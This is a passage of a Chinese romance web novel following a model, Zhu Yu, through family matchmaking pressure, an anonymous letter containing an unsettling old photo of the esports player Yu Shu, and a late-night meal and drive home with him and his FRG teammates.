就像现在—— “心心,你现在还在当模特吗?”林惠坐在祝愉对面,轻声问道。 “嗯……我现在就是拍点衣服照片,发发视频,也没有一直当模特。” “那你有没有想过以后会干什么啊?” “我打算开一家服装店或者是咖啡店,自己当老板也挺好的。”祝愉观察了一下林惠的表情,小心回道。 “那万一经营不善,倒闭了怎么办,你大学到现在辛辛苦苦赚的钱不全打水漂了吗?”林惠突然语气转变。 “妈——我还没开呢,而且我现在还一直在工作呀,也有在挣钱,我可以承担得起的。” “你怎么承担?现在开一家店要多少钱你知道吗?我们小区附近的那些店,一年都换了五六次招牌了,都开不久,到最后全是赔钱的,来来回回几十万就打水漂了。” 祝愉叹了一口气,她缓声道:“那我应该干什么?” “就像我当初说的,去考公考编这些都可以,你一辈子都不会失业的,你看我跟你爸,没退休的时候都能把你和你姐养的白白胖胖的,再过几年退休了还是会有钱。我一出门,那些人都跟我说我多么幸福,你跟你老公都有稳定的工作,两个女儿也落落大方的,别人都羡慕我呢。” 林惠开始滔滔不绝。 “我算过命,大师说我不适合体制内的工作。”祝愉开玩笑地说了句,她想赶快结束这个话题,她已经跟他们说过很多次自己不想考公考编了。 “你又在胡说什么?”林惠眉毛一拧,突然哑了火,瞪了眼祝愉。 “没有胡说,而且我也不喜欢这种按部就班的工作呀,我现在就挺好的。”祝愉看着林惠还要说什么,紧急补了一句,“我看现在考公不是放宽年龄限制了嘛,我再多吃几年青春饭赚点钱,到时候我全职备考行不行?” 林惠还是有些不满意祝愉的回复,但看着祝瑜态度诚恳,也没有继续缠问。 祝愉悄悄松了口气,她也理解林惠的担忧。 林惠年轻的时候遇人不淑,非要跟当时一事无成的祝父在一起,婚后才知道祝父欠了一屁股债,还经常赌博,林惠怀孕的时候,家门口天天都有人堵着催债,没有过一天安分日子。 当时林惠产后一年才开始工作,工资也不高,没有办法带着祝愉一个人生活,只能靠着祝愉爷爷奶奶的接济过日子。 后来祝愉七岁,祝父喝酒后自己跑上车道被撞了,救治无效死亡,肇事者是个富二代,赔了一大笔钱,林惠还完债,就拿了五万块钱,剩下的全留给祝愉的爷爷奶奶,带着祝愉走了。 祝愉十二岁的时候,在学校老师的介绍下,林惠跟离异独自带娃的陈建英结了婚,一直到现在,夫妻感情都很好,也很少有争吵。 但“稳定”二字已经刻在了林惠的骨子里,她当初也是因为稳定,才选择跟陈建英结婚的。 林惠不想女儿过得浑浑噩噩,如果能有个稳定的生活,那谁会感到不幸福呢? “你有没有谈恋爱?”林惠突然问道。 话音刚落,祝愉心口猛地一缩,下意识地攥紧了手中的瓷勺。 谈恋爱肯定是没有的,但是也不能说自己有喜欢的人,林惠一定会追问对方是个什么人,是干什么的。 刚逃过一劫,祝愉不想再被盘问了,便开口否认道:“没有。” “也没有喜欢的?” “没有。” “行,那你明天跟我走,你许阿姨老公的侄子刚回来,可能要在这边待几天,我们约一个时间,你跟我去见见人家。”林惠当机立断,拿出手机就给许芳打电话。 祝愉拦都拦不住,这是什么情况? 那边商量好时间后,林惠挂断电话,施施然走进卧室,抛给祝愉一个眼神,关了门,留祝愉一个人在客厅。 祝愉现在真的是一阵后悔,为什么要赶早班机回来。 晚上,祝愉躺在卧室的床上,跟新助理对接完商务后就开始刷前天FRG获胜后的帖子,现在看真是惬意。 看了一会儿,刷到了FRG官号发的购买链接,她突然想起助理小香在大学的时候有做过代拍,对这种事应该比她要熟悉。 小竹:【在嘛~你有认识的人在做代拍吗?】 祝愉打字问道,FRG俱乐部要出一款限量版纪念队服,她看了眼预约人数大概有几十万,害怕光靠自己是抢不到的。 香香:【有,姐,你要拍什么?】 小竹:【电竞方面的,是一个俱乐部的限量版衣服】 香香:【好,我去问问】 过了几分钟—— 香香:【姐,你要抢FRG他们的衣服吗?】 小竹:【对,是有难度吗?】 香香:【嗯嗯,我朋友说他们的东西很难抢,专门做代拍的都有好多人抢不到,但是他可以多找几个人帮你拍】 小竹:【可以】 < p>祝愉将代拍费转过去,瘫倒在床上,心中再一次感叹FRG的人气之高。 主要是后面有特殊的编码,还可以自己挑选数字和字母印上去,款式比较日常,平时也能穿出去,她是真的很心动。 她打算挑个她跟俞述有关的数字印在衣服后面。 第一次见到俞述的那天?还是加微信那天? 正想着,卧室门响了。 “祝愉,我进来了啊!” 陈词恩端着一盘切好的水果进来,“你怎么被妈叫去相亲了啊?幸亏我是晚上来的,哈哈哈哈哈。” 一阵幸灾乐祸后,祝愉吃了口草莓,不紧不慢地说道:“爸说了也要给你安排。” “我怎么没听他们说啊?你是在骗我吧?” “骗你干嘛,我连人都见过了。” 祝愉下午陪林惠去逛超市,恰巧碰到初中班主任周琴,班主任的老公以前是陈建英的同事,两家以前关系也挺好的,后来班主任老公退休,他们一家一到假期就出门旅游了,闲的时候也不在这边,所以后面两家就很少碰面聚餐了。 又聊了几句,林惠提到了班主任的儿子明天什么来接他们。 祝愉这才知道,明天不止她要去相亲,陈词恩也得去,三家都认识,正好一块吃饭。 出了超市门,班主任的儿子开车等在门口,正好顺路把林惠母女俩送到小区门口,还很热心肠的帮她们提东西,林惠赞不停口,夸他有眼色,很是满意。 “你别太惊讶,就是过去吃顿饭而已,合适了就接触,不合适就算了。”祝愉看陈词恩好一阵没愣过神来,劝慰道。 “那你呢?你跟那个俞述怎么办?” 祝愉忙上前捂住陈词恩的嘴,“你小声点啊,万一被爸妈听见了怎么办,妈肯定要打破砂锅问到底的。” “你俩真有情况啊。” “没有什么情况,八字还没一撇。”祝愉叹了口气,揪着玩偶的耳朵,眼神放空。 那天比赛结束之后,选手离开场馆时,她远远地站在台阶上看着。 几天没见,俞述眼下的乌黑更加明显,却还是强撑着跟周围来支持他们的粉丝告别。 了解到他们结束比赛后还要回去复盘,半夜两三点才会休息,高负荷的脑力运转肯定很累,她就没有打扰俞述,只发了句“恭喜拿下这次比赛”,就再也没有发过消息。 “其实你不用那么小心翼翼的,他们选手再忙,也会有空发消息的,又不是封闭式比赛,没那么严格。”陈词恩捏了捏祝愉的脸宽慰道。 “唉,心里面肯定会想很多啊。”祝愉顿了一下,“而且我看网上那些选手的女朋友都会自己减少联系选手的时间。” “哇!祝愉!你还没当人家女朋友就操这么多心,当了之后你是要变成隐形人吗?那这样谈恋爱有什么意思啊?”陈词恩晃着妹妹的肩。 “我那不是操心,我是合理地关怀!” “行行行,关怀,那你的关怀在哪里?不说打电话了,你每天连一句消息都不发,你小心别人捷足先登啊。” 祝愉心里一梗,她倒是没往这方面想,“他是不是不缺追求者啊?” “那不废话,我上班的时候,那休息室门口都是来找他小女生。”陈词恩夸张道,暗暗观察着祝愉的反应。 “她们还能到后台啊……”祝愉喃喃道。 虽然有夸大的成分,后台是不允许无关人员进入的,但是按照祝愉这种慢吞吞的性格,如果不激一下,什么时候才能追到俞述啊。 “是啊,所以你要怎么办?” “所以……等他比赛结束后我再说吧。” “等等等,又等。” 陈词恩拿她没有办法,端着盘子又走了,“啥时候有进展了,再吃我切的水果。” 门响,卧室里只剩祝愉一个人。 她心里五味杂陈,点开俞述的朋友圈,只有两条。一条是刚上场打比赛,另一条是夺冠,只跟比赛有关系。 她有气无力地想,俞述的心里会有属于她的位置吗? 11. 第11章 碧华餐厅—— 祝愉跟着接待走入长廊。 两侧墙面镶嵌着琉璃灯,橘色的光亮铺洒在灯杆处,墙壁上的纹理随之浮现,廊顶垂落下的暖灯一路延伸,指引着走廊里的人。 空气中萦绕着淡淡的木香,环境舒适令人放松。 祝愉被带到包厢门前,细碎的交谈声从中传来,推开门,林惠和许芳正在聊天。 “哎呦,这是心心吧,这好多年都不见了,越长越漂亮了。”许芳起身,“来让阿姨看看。” “许阿姨也越来越漂亮了。”祝愉柔声说道。 “被小美女夸漂亮,心情都不一样哦。”许芳笑眯眯地说,“这是你辛叔叔。” “辛叔叔好。” “诶好,老陈真的好福气,有两个这么落落大方的女儿。” 客气完,祝愉坐到陈词恩身边,问道:“爸呢?” “爸跟宋叔叔他们一起来。”陈词恩小声说道,“喏,你对面那个男生就是辛叔叔的侄子,叫辛朔,比你大两岁,听说在自己创业,搞软件开发的。” 祝愉扫了眼,胡乱点了点头,没太在意。 过了一会儿,包厢的门再次打开,陈建英跟宋家一行人来了。 众人寒暄几句后落座,服务员开始上菜。 “心心,悦悦,这是你宋叔叔他们,宋照昨天见过的,这是宋熙,还在上大学,你们几个女生坐一起啊,聊聊天什么的。”陈建英笑呵呵道。 几人换座后,长辈坐在了一起,方便聊事。 “姐姐,你是小竹吧!”宋熙小声问道。 祝愉点点头,以为宋熙还会问她什么,但她略过自己,看了眼陈词恩,又问道:“那个姐姐是不是主持KPL的悦悦呀?” “嗯,你还看KPL吗?”祝愉拉了一下陈词恩,示意她过来聊天。 “是啊,不过我是去年才开始看的。” “那你主队是哪个?”陈词恩凑过来问道。 “FRG啊,我超级超级喜欢重明!”宋熙说起自己主队就来了劲,“长得帅,打得也好,还没黑料,平常就是超酷的一男生,简直是我的天菜。” 说了一堆,宋熙突然冒出一句,“姐姐,你有重明的微信吗?可以给我吗?” 陈词恩听后坐直,尴尬地笑了一下,“我们有规定,不能把选手的联系方式给别人。” 宋熙的热情消下去大半,“这样啊,我堂哥也说不能给。” “你堂哥是谁?”祝愉终于出声问了一句。 “宋衍棠啊,就是ZDG的教练。”宋熙恶狠狠地戳着盘子里的笋片,她缠着宋衍棠要了好久重明的联系方式,都不给,还把她微信拉黑了,说有什么事让宋照转告,真的气死她了。 听到宋衍棠的名字,陈词恩愣了一下,居然是宋衍棠的妹妹。 …… 【遇到人家迷妹了,怎么办?】 祝愉看了眼手机,陈词恩在给她发消息。 【他粉丝多很正常呀】 【我看怕不是普通的粉丝哟】 祝愉没来得及回,便被林惠叫去,一块起身的还有辛朔。 “哇哦,所以这是相亲宴吗?”宋熙有了精神,“悦悦姐,你要跟我哥相亲吗?” 陈词恩嘴角微搐,“怎么会呢?只是长辈们叙叙旧而已,我们来添个人气罢了。” “那我把我哥介绍给你,你把重明的联系方式给我行不行?” “你能不能好好吃饭。”宋照转头刚好听见,拍了一把宋熙的肩,朝着陈词恩不好意思地笑了笑,“对不起啊,我这个妹妹有点被惯坏了,说话没大没小的,有些事不经过脑子就说出来了。” 陈词恩说了句没事,想了想又说:“联系方式给不了的,如果你有想转告他的话我可以替你去说。” 毕竟还是宋叔叔的女儿,得给个台阶下,小孩想的没那么多,说话直点也很正常。 “我想跟他谈恋爱啊,你能替我去谈吗?” “宋熙!你怎么跟人说话呢!”宋照拔高音量。 他都给他妈说了不知道多少次了,别把宋熙给宠坏了,结果还是这样。现在不管在哪都是无法无天的,根本不听大人说话,别人说一句她能呛十句。 “怎么了啊?”宋父问道。 所有人看向宋熙,她撇了撇嘴,“我哥又骂我呗。” “你多听你哥话,不要跟他反着来不就行了,一天天的……” “哎呦,兄妹两个拌嘴也是常有的事,你就别掺和了。”宋母安抚道,给宋照使了个眼色。 宋照青着脸,瞪了眼宋熙,转头不语。 祝愉看见陈词恩脸色不悦,便跟林惠说了声,反正她在这跟辛朔也聊不了几句。 “怎么了?”祝愉回到座位。 陈词恩翻了个白眼,她收回那句这小孩很正常的话,一点礼貌都没有。 “回家说。”她回去绝对要跟祝愉好好吐槽一番。 餐桌上祥和一片,趁着这次相聚的机会,陈建英还喝了几口酒,小辈们也安安静静地吃饭。 除了宋熙。 “你能不能别再去干那种事了?有什么意义!”宋照尽量压低声音。 “跟你有什么关系,我就要去!” “你能不能听点话,你都成年了,可不可以懂事点,你不知道这是犯法的吗?” “什么犯法啊,我不也没出过事吗?哥,你这么大了还结不了婚,就是管的太宽的原因。”宋熙不耐烦地说道。 兄妹俩的对话隐隐约约传入祝愉耳中,她虽然心里好奇但也装作没听见,安安静静地吃了会儿,便到一旁的沙发上坐着了。 …… “下次见啊!”陈建英乐呵呵地挥手道。 “下次见!” 酒足饭饱,大家站在门口互相告别,千叮咛万嘱咐之后约定好下次再聚。 爸妈先回家休息了,祝愉看时间还早,便拉着陈词恩去逛超市,看着买一些明天要用的东西。 陈词恩推着车跟祝愉吐槽刚刚餐桌上的事。 “她真的一点点礼貌都没有!” 陈词恩哐哐往推车里塞零食,发泄着这股子憋屈劲。 祝愉安抚了陈词恩几句,拉着正在炸毛的某人去了家电区。 新家那边她早上去看了眼,大件都全了,就是没有锅碗瓢盆这种小物件,她打算慢慢往进去添置。 转弯处,她看见了一个意想不到的人——宋照,他在陪着一个女人挑选杯子,举止亲密,耳鬓厮磨。 她拉住陈词恩,示意她看前面。 “我说那会儿他妹说那话,他听了怎么那么生气,我还以为我魅力大幅度下降了呢。”陈词恩压低声音。 祝愉没接话。 过了几分钟,那个女人挽上旁边男人的胳膊,向另一边走去。 祝愉等了一会儿,才过去挑了个水壶,又随便逛了逛,选的差不多了才往收银处走。 “你们也在这啊。” 刚刚 躲了半天的人,还是见到了。 女人歪头,疑惑地问道:“这是?” “是我爸妈朋友的女儿。”宋照有些不好意思。 虽然几家都未挑明今天的目的,但他们几人也知道这次聚会是为了什么。 女人打了声招呼,声音细细绵绵的,拿着宋照给的卡先过去结账了,不打扰他们聊天。 几人一阵沉默,宋照才开口解释道,那是他的女朋友夏黎,两个人谈了五年了,父母一直不同意他们在一起,因为他女朋友有过一段婚姻,还带着一个小孩,今年已经七岁了。 他这次回来本想好好跟他父母谈一谈的,却依旧不欢而散。 所以他打算不管父母的意愿,直接跟夏黎结婚,后面的事后面再说吧。 几人在超市门口分开,看着他们远去的背影,陈词恩感叹了一句,好勇敢啊。 以后是以后,现在最重要的是眼前的人。 …… 回家的路上,陈词恩心事重重。 两人罕见地无言。 祝愉没有注意到旁边人的情绪,因为此时此刻,她也想着她跟俞述的未来。 她和俞述现在还只停留在普通朋友的关系,却又比这种关系要更浅一点,更模糊一点,仿佛随时都会消散。 她想要进一步,却又害怕他退一步。 她拿不准这种尺度,却又不得不时时刻刻丈量他们的距离。 “你说喜欢一个人,最不会后悔的是什么?” 陈词恩的这句话没头没尾,就像是祝愉的心一样飘荡不定。 她没有开口。 直到快回家,祝愉突然说了句—— “勇气吧。” 一时的勇气让她开始,也可以让她坦然接受这份迷茫。 把想做的就做了才不会后悔。 说罢,她点开跟俞述的微信聊天框:【希望你接下来的比赛一直都加油!我会一直陪着你的】 【你一定会赢的!冲啊!】 点击发送。 不到一分钟,那边发来消息。 【?】 屏幕紧接着又亮了一下—— 【好的】 【会赢的】 这句承诺简单直白,却抚平了她心中的犹豫和不安。 祝愉忽地笑了,那点自怨自艾也消失不见。 好心情一直保持到她离开的那天。 …… 曲城机场。 “你们在那边要好好吃饭,每次回来都比上一次还瘦。”林惠拉着两个女儿的手。 陈词恩撒娇了几句,哄得林惠和陈建英喜笑颜开,祝愉也在一旁哧哧地笑着。 飞机起飞,到家已经是下午三点了。 客厅凌乱地摆放着几个箱子,是品牌方寄来的衣服。 祝愉把箱子摆好,不小心碰掉了上面耷拉着的几封信件和快递。 她拿起来看了眼,应该是小香送来的。 “嗯?这是……” 其中一封信件的寄件人是俞**。 是俞述吗?为什么会给她寄信啊? 她拆开信封,映入眼帘的是一张照片。 照片不是很清晰,边角泛黄,微微卷曲。 大致能看清是一个十三四岁的少年,缩在桌子底下,满脸血迹,神色慌张地看向镜头。 一张纸条落下,上面写着—— “你以为俞述是个什么样的人?” 话语模糊间意有所指。 12. 第12章 夜幕降临。 祝愉正在去朋友生日宴的路上。 昨天她打电话问快递公司寄件人的名字,却显示信息加密,无法查询。 如果是姓俞……那就应该是跟俞述有关的人……是那天的几个人吗? 寄给她的那张照片是俞述刚登场不久时,有人投稿营销号发的。 因为这张意味不明的照片,俞述也经历了一段时间的网暴。 KG当时有解释说是恶意P图,但是俞述报警找到投稿人的时候却选择了私了。 整件事遮遮掩掩,这也是为什么网上舆论会那么大的原因。 但那之后不久,有个声称是俞述老乡的人,提到俞述小时候过得并不好,家里欠了钱,经常被小混混围堵,身上没有一块好的皮肉等等,网上的风向才开始转变。 再到俞述转会,在FRG的操作下,这事才渐渐淡了下去,相关的帖子也都删得差不多了。 祝愉一晚上没睡好,担心后面那些人找上门来,便跟房东沟通过几天搬家的事。 她打算先搬去酒店,房子后面再慢慢找。 但想到俞述…… 更令她在意的是俞述没打职业前的事。 如果是真的…… 惴惴不安了一天,她心中突然泛起酸涩,情绪不受控制地涌了上来。 俞述那时候才刚上初中吧,在别的小孩衣食无忧的时候,他就要一个人承担着家里的所有……他是怎么过来的啊…… 祝愉深呼吸,压下胸腔的麻意,她突然很想见到俞述。 点开微信,她打字问:【在干什么呀?】 过了几分钟,俞述回道:【训练赛】 【训练赛几点结束啊】 【大概十点】 祝愉咬着下唇,要说的话删删减减,不知怎么开口。 俞述半天没等到回复,主动问道:【有什么事吗?】 【想问问你晚上吃不吃夜宵】 祝愉像火苗一样升起的那股勇气,促使着她点到发送,她捂住脸,一阵懊悔,会不会有点太任性了。 对面的人好像愣住了,可能想了一会儿才回道:【吃什么】 这是答应了吧? 【你喜欢吃什么?】 【都可以】 祝愉怕气氛尴尬,又给俞述说可以把他的队友都叫来。 但是这一句之后,俞述过了很久才回了一句:【。】 祝愉不敢深想这符号的意思,便连忙敲定时间。 心里的一块石头落地,刚刚还被丧气笼罩的人突然春光满面,冒着粉色泡泡,惹得前面的司机频频回头。 “姑娘,你谈恋爱了啊,笑得这么开心。” “没有……我笑得很明显吗?”祝愉摸了摸嘴角,她一直在忍啊。 “对啊,那嘴咧得跟啥一样。” 听着司机的调侃,祝愉将手机小心捂在胸口,漫不经心地看向窗外。 心跳声代表的意义如果可以这样传给他就好了。 让他知道我很在意他。 …… 朋友的生日宴在一家庭院式的餐厅里举办,因为包场的原因,没有别的顾客,大家都很随意,祝愉送完礼物后就找了个角落坐下,静静地看着他们聊天。 今天过生日的女生是祝愉大学兼职模特的时候认识的,但毕业后就没有什么联系了,所以收到她发来的生日邀请,祝愉还有点意外,但想了想没什么事也答应了下来。 来的人大概有十几个,男男女女,大部分都是模特和网红,祝愉还算是面熟。 椅子拉动,一个身材火辣的女人端着一杯酒坐在了祝愉身边。 “嗨!怎么一个人坐在这呀?” 女人穿着红色深V吊带长裙,风情万种。 “这边安静一点。”祝愉回神,礼貌地笑了一下。 她记得对方叫Lena。 两人短暂聊了几句,互相加了好友。 “你是不是有事啊?”Lena看祝愉一直瞄手机。 “嗯。” Lena挑了一下眉,拉着祝愉拍了几张合照,“我跟你一块走吧,这挺无聊的,大多数我都不认识。” 又待了半小时,两人便向生日宴的主人公打了声招呼,一起离开了。 等待网约车的时候,祝愉翻看美食推荐,看有没有什么好吃的夜宵,翻来覆去不是室外烧烤就是地摊火锅。 但是想了想俞述的知名度,她叹了口气,还是算了吧,她是不想再上热搜了。 得找个室内的…… “我说你怎么吃那么点,原来后面还有约呀。”Lena探头看了眼,打趣道。 “嗯嗯,要去跟朋友吃夜宵。”祝愉点点头。 “去清吧啊,那里灯线很暗的,拿捏不准你灌点酒,分分钟搞定那男的。” 祝愉眨眨眼,她是怎么知道自己要跟男生去吃饭。 Lena的红色长指甲指向搜索栏——“情侣夜宵推荐”。 瞬间,她脸爆红,支吾道:“这是搜索推荐,我点开来看看。” Lena没有挑破,直到车来了,她还是挤眉弄眼的让祝愉考虑考虑。 祝愉揉了揉眉心,她再色胆包天也做不了这事,况且选手赛期不能喝酒。 那休赛期……她连忙晃了晃脑袋,自己在想什么啊! 最终约定的地点是一家大排档,这家是当地人才会吃的老店,味道不错,但一般不会推荐给外地人,怕人太多了自己反而吃不上。 祝愉等在门口,远远地看见了几个穿着短袖短裤的男生走来,除了俞述,他像是不怕热一样,外面套着黑色的薄款运动外套,底下是黑色长裤,显得腿很笔直,脚上则规规矩矩地穿了双黑色板鞋。 祝愉低头看了眼自己的着装,棉麻衬衫,及膝短裙,一身白,他们站在一起有点像黑白双煞。 她忍不住乐了。 几人走进店里,还剩一处角落的位置,互相招呼着坐下聊天。没多久,江笛也匆匆赶来。 江笛坐祝愉旁边吐槽她胆小,不敢跟俞述单独吃饭,还叫了这么多人来,跟那种为了与你拥抱,我拥抱了全班同学有什么区别。 祝愉虚心听教,答应江笛下次一定会更努力的。 …… 菜单在所有人手中转了一圈,最后才到俞述手中。 “你能不能收敛点,我都怕你把俞述当盘菜给吃了。” 耳边传来江笛的声音,祝愉一颤,这么明显吗? 她缓缓移开视线,装作若无其事的样子喝着水,但余光还是投在俞述身上。 透过半敞开的外套,正好可以看到他的锁骨,凹陷深浅有致,有着一种说不上来的性感。 视线上移,顶光洒落在他身上,脖颈的光亮处是凸起的喉结,微微偏头,颈线蜿蜒而下,落入领口。 再往上…… 一双清隽的眼睛看向她,视线没有转移,静静地盯着她的脸。 祝愉目光闪躲,放在桌下的手紧张地攥起裙摆。 “唉,某些人谈恋爱就谈恋爱,别打扰单身狗吃饭啊。” 江笛观察了两人半天,很有眼力的来了记猛攻。 FRG几人的目光全部集中在这他们身上。 祝愉忙偏头瞪了眼江笛,用气音说道:“你在搞什么?” “我又没指名道姓,你慌什么。”江笛笑盈盈地看着祝愉,她再不推一把,这两人什么时候才能成。 除了俞述,FRG几人与祝愉没有什么多的交流,但与江笛还算是熟悉,所以有了江笛的开头,灼忧嘴里啧啧作响,假意黯然神伤,“唉,我们只是观众罢了。” 薰薰倒是不敢开俞述的玩笑,只能跟着嘿嘿笑。 刚刚还僵硬的氛围倒是因为这两人软化开来。 听着队友的打趣,俞述面色平淡,但耳尖泛红,稀奇的没有出声反驳。 飞渊了然,忍不住揶揄道:“我们小鸟哥容易害羞,你多担待点。” “哈哈哈哈哈哈。”几人再也忍不住笑了出来,刚刚还有些冷淡的气氛瞬间火热起来。 祝愉恨不得钻到桌子底下,脸颊连着脖子都泛着粉意,她也没办法反驳,因为她就是有着这样的贼心。 “你们什么时候去榆市啊?”江笛逗弄的差不多了,就转移话题,防止事后某人找她算账。 “明天早上就要走。”飞渊喝了口可乐,压下笑意,“大概十点多的飞机吧。” 这也是今天能出来吃饭的原因。按平时,91是不会放他们出来大吃特吃的,一般都是比赛结束后的当天,赢了就去聚餐,俱乐部报销,输了的话教练恨不得让他们吃鞋底,饿着肚子都得先回去复盘,哪有什么好脸色。 “那比赛完之后就先回来,还是直接去锦州啊?”祝愉想起他们的赛程,跟SNG打完,下一个就是JCM。 而JCM的主场在锦州。 “就直接飞锦州了,要不然还得来回跑,怪麻烦的。” 外地的比赛得提 前两天去,坐飞机就得半天,收拾行李又半天,直接去还省事,从榆市坐高铁一个多小时就到锦州了。 那岂不是得有半个月见不到俞述,祝愉皱着眉。 榆市的比赛她怕是看不上了,那几天她跟房东说好要搬家的,锦州的她没抢到票,也不好意思去问俞述要,毕竟不是FRG的主场。 桌上的手机震了一下,有联系人给她发消息。 【你要来吗?】 祝愉无奈道:【榆市吗?我去不了,要搬家[哭]】 【锦州。】 【但是我没有抢到票诶[哭][哭]】 俞述莫名从中感受到了她的小情绪。 【我之前答应你了】 【?什么】 【我的每场比赛都会给你门票】 【所以你要不要来】 【要!】 祝愉眉眼舒展,在那看着手机傻笑。 江笛一阵鄙夷,人就在对面,还要发微信聊,像是搞地下情一样。 祝愉才不理她,自顾自地戴上手套开始剥虾。 “给你。”她剥了几只放进江笛碗里,奖励她今晚来陪自己。 江笛立马回头给了她一个飞吻,要不是她挡着,可能就亲脸上了。 “哇,感觉你们女生之间都好爱这样。”灼忧不能理解。 他姐和她闺蜜就经常这样,每次看到都会头皮发麻。 “并没有。”祝愉冷酷地否认。 “唉,只是我单向付出罢了。”江笛假装抹了两把眼泪。 “但我记得有次比赛,不是还有一个教练亲了自家选手的吗?”江笛回忆道,“你们也应该看习惯了吧。” “我去,那简直不忍直视好吗,那次采访完,大河下去就狂搓脸,跟T教互喷。”灼忧搓了搓胳膊。 “哈哈哈哈哈哈,然后他俩就上热搜了,梗图到现在都还有。” 薰薰也觉得好笑,那时候他还在青训,现在都过去三年了,每次比赛都能看到那张截图,一到情人节和七夕,官方都会拿来反复使用,真的是经典咏流传。 几个人凑在一起忘我地分享着选手之间的笑料。 说着说着,他们话题突转,聊到了前不久宣布退役的一个选手。 “唉,杨哥真的挺可惜的。”飞渊感叹道。 杨哥本名杨顺,是YSG的射手,ID是天空,人如其名一直很顺,打职业以来一直是首发,冠军无数,直到24岁,前不久的春季赛结束之后,他宣布了退役。 24岁,可能在普通人当中还是正有拼劲、未来可期的年纪,但是对于他们职业选手来说,这已经是赛场上打得很久的老人了,随着22岁一过,他们便像是菜市场没人要的白菜随意丢弃在路边。 他们很多人觉得杨哥还是当打之年,包括这次春季赛他也打得很稳,局内的预判和操作要比一些新人更加老道,一直在给队伍兜底,稳住下限。 最后连胜冲入总决赛拿得冠军,但还是改变不了他要退役的决定。不过杨哥也是个潇洒的人,这么多年他走过低谷,正值巅峰期也拿过冠军,属于电竞选手的职业历程他也走得差不多了,或许在此刻退役就是最好的选择,应该给后面更有潜力的新人腾地方了。 这次夺冠是他最体面的退役方式。 “唉,或许我再过两年就也要退役了。”薰薰塌了肩膀,悲伤道,打野的职业生涯更短,20岁如果还没能有个不错的成绩就只能坐替补席,后起之秀一个赛一个,他幸运的是在18岁的时候就跟着这几个队友拿了冠军,但是离20岁还有不到一年的时间,不知道他还能打几年。 灼忧拍了拍他肩膀,安慰道:“没关系,你如果退役了就去当主播,如果你给我跳舞的话我会考虑给你刷嘉年华的。” “你赶紧滚滚滚,你给我跳还差不多。” “但是没你会跳啊,我到时候可以打鼓给你配乐。” “你给我配乐那简直是扰民,到时候一块被警察抓走了,你想害我是不是。” 一阵插诨打科,将刚刚沉重的气氛一扫而空。 祝愉捂嘴笑着,觉得这几个小孩都很好玩,怎么说话都很好笑。 暖色光照在她身上,勾勒出柔和的轮廓,俞述看着祝瑜的脸庞,总觉得她身上有一种恬淡的气息,包容着所有人。 许是看得太久,对面人的视线移来,眼中是错愕,但又带着点害羞。他随之移开,看着队友打闹,眼睛弯着,嘴角上扬,心情突然变得很好很好。 13. 第13章 夜色已深,已经快凌晨一点。 FRG的基地离这不远,他们走十几分钟就能到。 但这边路有些窄,人也多,车不好进,飞渊喊她们一块去了基地再打车,打不到可以让俞述开车去送。 “你有没有告诉俞述那件事啊。” 江笛挽着祝愉的胳膊,她昨天听到这事都快吓死了。 祝愉摇了摇头,新赛季开始还不到一个月,第一轮比赛都没有结束,她怕告诉俞述这件事会让他分心。 而且她也不知道俞述会不会希望她知道这些事,因为以他们现在的关系来看,她反而更不好开口。 “你这么贴心干嘛?” 祝愉看着前面不远处的几人,小声道:“因为喜欢他啊。” 因为喜欢,所以才会更加在乎那些细枝末节的事,担心这些小事会不会影响到他。比赛她不懂,但她可以为了他去了解,设身处地为他着想,却也因此开始小心翼翼。 她起初以为那只是普通的心动,可能是因为他的脸让她产生了一些情愫,很快就会随着时间逝去,但是当见到他的时候,一切都开始不一样了,她越来越在意他,心中光是想着他都会觉得开心,那种兴奋的情绪可以持续很久很久,这是以前从未有过的。 比起自私地去为了感情而强硬耽误他什么,她更希望俞述能有精力去赢下每场比赛。 但有时候又很难过,她会潜意识地认为他们不是一路人,可越压制那份心动就越挣扎,她迫切地想要靠近他。 她的理智和心一直在背道而驰,有的时候她都在想,这种扭扭捏捏的人真的是她吗? 但是她现在愈发释然了,悸动来得很快,但停留的时间很长,它会让人变得表里不一,变得优柔寡断,变得进退两难,但这就是喜欢呀。 …… 几人走到基地前的那条马路边,留俞述一人陪着祝愉她们。 飞渊走之前,把兜里的车钥匙塞到了俞述手中,还好他想得多,提前准备了,“等会儿你就别矜持了,主动点行不行。” 俞述看着手里的钥匙,一阵沉默,矜持是怎么用在他身上的。 祝愉刚准备打车,一道声音从旁边传来,“我送你们吧。” 夜晚的路灯将俞述包裹住,他将外套拉链拉到最上面,显得拒人千里之外,但祝愉莫名觉得,那颗有距离的心正在慢悠悠地向她靠近。 俞述将车开来,祝愉被江笛推到副驾驶的位置,打开车门,两人坐进去。 车内一片安静。 俞述微微眯着眼看旁边的人系好安全带,搭在方向盘上的手蠢蠢欲动,心中不知道为什么冒出一丝遗憾。 祝愉坐好之后没敢乱瞟,说了酒店的名字和江笛家的小区位置,便默不作声,看着前面的路。 “你最近住酒店吗?”俞述等红绿灯的时候问了句。 “嗯,对,因为新房子还没有找好,先在酒店住一段时间。”祝愉点点头,明天早上再去跟小香退租,把房子打扫一下就好了。 车里又陷入了沉默,急得江笛心中怒吼,这两人在干嘛!会不会聊天! “为什么搬家了?” 江笛踏实了点,这小子有眼力见。 “嗯……遇到了些事……所以就要搬家。”祝愉心里犹豫,没有说实话。 “什么事?”俞述目不斜视,但继续问道,“可以解决吗?” “小麻烦……可以解决的。”怕俞述再问,祝愉随便找了个话题,“我送你的那只小狗呢?” 祝愉也是随口一讲,没有期望得到俞述的答复,虽然说是吊坠,但真戴在脖子上还是有点硌人。 “在包里。” “噢噢。”祝愉胡乱点了点头,没有多想。 车很快到了小区门口,没有登记进不了里面,祝愉只能让江笛多注意一点,到家了给她打电话。 看着江笛的背影消失不见,祝愉才上了车。 “让你久等了啊。” 俞述轻轻摇头,上一次也是这样,他从后视镜里看到祝愉一直留在原地,看着他们的车走远,才转身离开。 刚回到基地,祝愉就问他到没到俱乐部,得到回复之后才说不打扰他了,让他专心打训练赛。 她总是为别人着想太多…… 凌晨的车比较少,一路畅通无阻,不紧不慢地到了酒店门口。 “那我走了啊。”祝愉体贴道,“你也早点回去休息吧,明天还要赶飞机呢。” “好,你也是。” 祝愉走到酒店门口,习惯性地朝后看去,却看到俞述半倚靠在车头注视着她。 两人相顾无言。 祝愉呆愣了一下,随即像是想到什么,笑了笑,向俞述摆摆手,转身走进了酒店大堂。 俞述看着她坐上电梯,又等了五分钟之后,他给祝愉发消息:【到了吗?】 【嗯,刚进门】 【好】 消息没有间隔太久,俞述收起手机,等了一会儿才开车离开。 刚到房间的祝愉闭了闭眼,心中一片柔软。 怎么办,她更喜欢他了。 